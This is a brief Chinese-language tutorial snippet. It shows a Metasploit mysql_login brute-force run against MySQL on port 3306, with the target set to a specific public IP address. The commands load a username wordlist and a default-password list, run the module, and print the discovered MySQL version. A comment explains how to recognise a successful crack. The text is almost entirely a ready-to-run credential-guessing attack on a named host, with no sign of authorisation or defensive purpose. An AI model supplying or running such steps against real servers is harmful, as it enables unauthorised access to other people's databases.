nmap掃出3306端口的話,就往下;mysql
搜索漏洞sql
msf > search mysql_login
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
msf auxiliary(mysql_login) > set rhosts 121.42.27.192
msf auxiliary(mysql_login) > set user_file /usr/share/metasploit-framework/data/wordlists/unix_users.txt msf auxiliary(mysql_login) > set pass_file /usr/share/sparta/wordlists/mysql-default-userpass.txt
msf auxiliary(mysql_login) > run # 運行能夠查看到mysql版本爲5.6.29 [*] 121.42.27.192:3306 MYSQL - Found remote MySQL version 5.6.29 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed # 看到綠色加號即爲破解成功!